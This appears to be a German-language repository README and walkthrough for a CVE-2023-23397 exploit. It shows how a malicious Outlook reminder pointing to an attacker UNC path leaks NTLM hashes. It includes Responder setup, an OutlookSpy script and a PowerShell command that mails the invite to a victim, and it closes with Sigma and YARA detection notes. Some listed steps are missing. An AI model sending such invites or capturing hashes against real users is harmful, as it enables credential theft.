
Exploit für CVE-2023-23397 Outlook NTLM-Hash-Leck über bösartige Kalendereinladungen. Enthält PowerShell-Waffentechnik, Responder-Integration und Erkennungsregeln für die Incident-Response.
Um diese Schwachstelle auszunutzen, muss ein Angreifer eine bösartige Kalendereinladung erstellen, die einen Verweis auf eine Sounddatei enthält, die auf eine Datei in einer Netzwerkfreigabe auf dem Rechner des Angreifers zeigt. Auf niedriger Ebene speichert eine Outlook-E-Mail den Verweis auf die Sounddatei in einem internen Parameter namens "PidLidReminderFileParameter". Um sicherzustellen, dass das von uns in unserer bösartigen E-Mail eingebettete Audio Vorrang vor den Standard-Erinnerungskonfigurationen des Opfers hat, müssen wir außerdem einen weiteren Parameter namens "PidLidReminderOverride" auf true setzen.
Um die Eigenschaft "PidLidReminderFileParameter" so einzurichten, dass sie auf eine Netzwerkfreigabe zeigt, kann der Angreifer einen UNC-Pfad (Universal Naming Convention) anstelle einer lokalen Datei angeben. UNC wird in Windows-Betriebssystemen verwendet, um Netzwerkressourcen (Dateien, Drucker, freigegebene Dokumente) zu finden. Diese Pfade bestehen aus einem doppelten Backslash, der IP-Adresse oder dem Namen des Computers, der die Ressource hostet, dem Freigabenamen und dem Dateinamen. Zum Beispiel: \ATTACKER_IP\foo\bar.wav
Wenn das Opfer die bösartige E-Mail erhält, führt der UNC-Pfad es zu dieser SMB-Freigabe und löst dadurch die Schwachstelle aus. Dies führt dazu, dass das System einen NTLM-Authentifizierungsprozess gegen den Rechner des Angreifers startet, wodurch ein Net-NTLMv2-Hash preisgegeben wird, den der Angreifer später zu knacken versuchen kann. Falls das SMB-Protokoll aus irgendeinem Grund keine praktikable Alternative ist, akzeptieren Nicht-Server-Versionen von Windows UNC-Pfade, die auf die Ports 80 oder 443 verweisen, und verwenden HTTP, um die Datei von einem WebDAV-fähigen Webserver abzurufen. Die Syntax eines solchen UNC-Pfads lautet wie folgt:
\ATTACKER_IP@80\foo\bar.wav OR \ATTACKER_IP@443\foo\bar.wav
Dies kann nützlich sein, um Firewall-Beschränkungen zu umgehen, die ausgehende Verbindungen zu Port 445 (SMB) verhindern.
Angriffsphase Lassen Sie uns eine bösartige E-Mail erstellen, die einen Termin mit den erforderlichen Parametern enthält, um sie auszulösen.
Einrichten von Responder: Da wir erwarten, dass das Opfer einen Authentifizierungsversuch gegen den Angreifer auf Port 445 auslöst, richten wir Responder ein, um den Authentifizierungsprozess zu übernehmen und den NetNTLM-Hash für uns zu erfassen. Falls Sie Responder nicht kennen: Es emuliert einfach einen SMB-Server und erfasst jeden Authentifizierungsversuch gegen ihn. responder -I
Versuch, einen bösartigen Termin von Hand zu erstellen:
OutlookSpy: Auch wenn Outlook die Sounddatei der Erinnerung nicht auf einen UNC-Pfad setzen kann, können wir das OutlookSpy-Plugin verwenden, um dies zu erreichen. Dieses Plugin ermöglicht Ihnen den direkten Zugriff auf alle internen Parameter von Outlook, einschließlich der Sounddatei der Erinnerung. Sie müssen es manuell installieren, bevor Sie fortfahren. Stellen Sie sicher, dass Sie Outlook schließen, bevor Sie das Installationsprogramm ausführen.
Wir können den Tab "Script" und das folgende Skript verwenden, um die Parameter auf die erforderlichen Werte zu ändern: AppointmentItem.ReminderOverrideDefault = true AppointmentItem.ReminderPlaySound = true AppointmentItem.ReminderSoundFile = "\<attacker's IP><share_folder>\file.wav"
Klicken Sie unbedingt auf die Schaltfläche "Run", damit die Änderungen übernommen werden. Sie können zum Tab "Properties" zurückkehren, um zu überprüfen, ob die Werte korrekt geändert wurden. Speichern Sie schließlich Ihren Termin, um ihn zu Ihrem Kalender hinzuzufügen. Stellen Sie sicher, dass die Erinnerung auf "0 Minuten" gesetzt ist und der Termin mit der aktuellen Uhrzeit und dem aktuellen Datum übereinstimmt, da wir möchten, dass sie sofort ausgelöst wird.
Wenn alles wie erwartet funktioniert hat, sollten Sie sofort eine Erinnerung sehen, die erscheint. Und Sie sollten den Authentifizierungsversuch in Ihrer Responder-Konsole auf dem Rechner des Angreifers empfangen.
Waffenisierung Zusammenfassend müsste ein Angreifer die folgenden Schritte ausführen, um die Schwachstelle auszunutzen:
Die Schritte 3 und 4 werden für uns bereits von Responder übernommen, aber das manuelle Erstellen des bösartigen Termins ist etwas mühsam. Glücklicherweise stehen ein paar Exploits zur Verfügung, mit denen wir einen bösartigen Termin erstellen und senden können, von denen einer in diesem Repository bereitgestellt wird.
Dieser Powershell-Exploit nutzt die COM-Objekte von Outlook, um E-Mails und Termine einfach zu erstellen. Er enthält einige Funktionen, die wir verwenden können: Save-CalendarNTLMLeak: Diese Funktion erstellt einen bösartigen Termin und speichert ihn in Ihrem eigenen Kalender. Nützlich für Testzwecke. Send-CalendarNTLMLeak: Diese Funktion erstellt einen bösartigen Termin und sendet ihn per E-Mail an ein Opfer. Die E-Mail-Einladung wird vom aktuellen Standardkonto Ihres Outlooks gesendet.
Verwenden des Exploits: In Powershell können Sie die Funktionen des Exploits mit dem Cmdlet "Import-Module" importieren. Danach stehen beide Funktionen in Ihrer aktuellen Powershell zur Verfügung. Um eine E-Mail mit einem bösartigen Termin zu senden, können Sie einfach den folgenden Befehl ausführen:
PS C:\Users\User\Desktop> Import-Module .\CVE-2023-23397.ps1 PS C:\Users\User\Desktop> Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\ATTACKER_IP\foo\bar.wav" -meetingsubject "Random Meeting" -meetingbody "This is just a regular meeting invitation."
Da der Exploit die aktuelle Outlook-Instanz zum Senden der E-Mail verwendet, erhalten Sie wahrscheinlich einige Warnmeldungen, die Sie bitten, dem Skript die Berechtigung zu erteilen, E-Mails in Ihrem Namen zu senden. Drücken Sie "Allow" so oft wie nötig. Das Aktivieren des Kontrollkästchens "Allow access for 10 minutes" kann diesen Prozess ebenfalls beschleunigen.
Erkennung und Gegenmaßnahmen
Erkennung: Nachdem wir nun die Schritte zur Waffenisierung des CVE-2023-23397-Angriffs auf Outlook durchgegangen sind, wollen wir über einige Möglichkeiten sprechen, diesen Angriff im Netzwerk zu erkennen. Jeder Angriff hinterlässt Muster oder Artefakte, die dem Erkennungsteam helfen können, die Bedrohungen zu identifizieren. Es hängt alles von der Netzwerksichtbarkeit und den Protokollquellen ab, die gesammelt werden und die so wichtige Sichtbarkeit bieten.
Sigma-Regeln: Die beigefügte Sigma-Regel erkennt Outlook, das eine Verbindung zu einer WebDav- oder SMB-Freigabe initiiert, was auf eine Post-Exploitation-Phase hindeutet. Diese Sigma-Regel erkennt "svchost.exe", das "rundll32.exe" mit Befehlsargumenten wie C:\windows\system32\davclnt.dll,DavSetCookie startet, was auf eine Post-Exploitation-/Exfiltrationsphase hindeutet. Diese Sigma-Regeln können in das Erkennungs- und Überwachungstool konvertiert werden, um nach verdächtigen Protokollaktivitäten im Netzwerk zu suchen.
YARA-Regel: Die YARA-Regel sucht nach dem Muster in den Dateien auf der Festplatte. Die beigefügten Community-YARA-Regeln können verwendet werden, um die verdächtige MSG-Datei auf der Festplatte mit den beiden oben besprochenen Eigenschaften zu erkennen.
Microsoft hat ein Powershell-Skript "CVE-2023-23397.ps1" veröffentlicht, das Exchange-Nachrichtenelemente wie E-Mail, Kalender und Aufgaben überprüft, um festzustellen, ob die mit dem CVE-2023-23397-Angriff verbundenen IoCs gefunden werden. Das Skript kann verwendet werden, um die erkannten Elemente zu überprüfen und zu bereinigen.
Gegenmaßnahmen: Diese Schwachstelle wird in freier Wildbahn umfassend ausgenutzt. Einige der von Microsoft empfohlenen Schritte, um diesen Angriff abzuschwächen und zu vermeiden, sind: